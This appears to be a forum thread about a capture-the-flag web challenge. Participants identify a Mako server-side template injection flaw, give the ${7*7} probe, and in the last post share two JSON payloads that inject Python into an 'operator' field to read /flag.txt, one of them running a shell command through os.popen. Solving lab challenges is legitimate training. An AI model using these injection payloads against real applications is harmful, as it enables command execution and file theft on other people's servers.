Finished Day 2 Web ;)

(October 23, 2022, 03:34 PM)karhu Wrote: Finished Day 2 Web ;)

whats the payload seems its rce through url

[quote pid="694154" dateline="1666450570"]

Currently working on the Crypto Challenge...
[/quote]

(October 23, 2022, 03:38 PM)tryingNew1 Wrote:

(October 23, 2022, 03:34 PM)karhu Wrote: Finished Day 2 Web ;)

whats the payload seems its rce through url

It's SSTI against MakoTemplates from Flask. 

${7*7} works.

Thanks

i have had so much trouble with these also its my first try on a CTF

damn thanks mate

thanks

thanks

{"current_health":"100","attack_power":"100","operator":"+ 1; result=open('/flag.txt', 'r').readline()#"}

{"current_health":"100","attack_power":"100","operator":"; result=__import__('os').popen('cat /flag.txt').read();"}

Tried both in burp for web challenge, still the request is "HTB{f4k3_fl4g_f0r_t3st1ng}"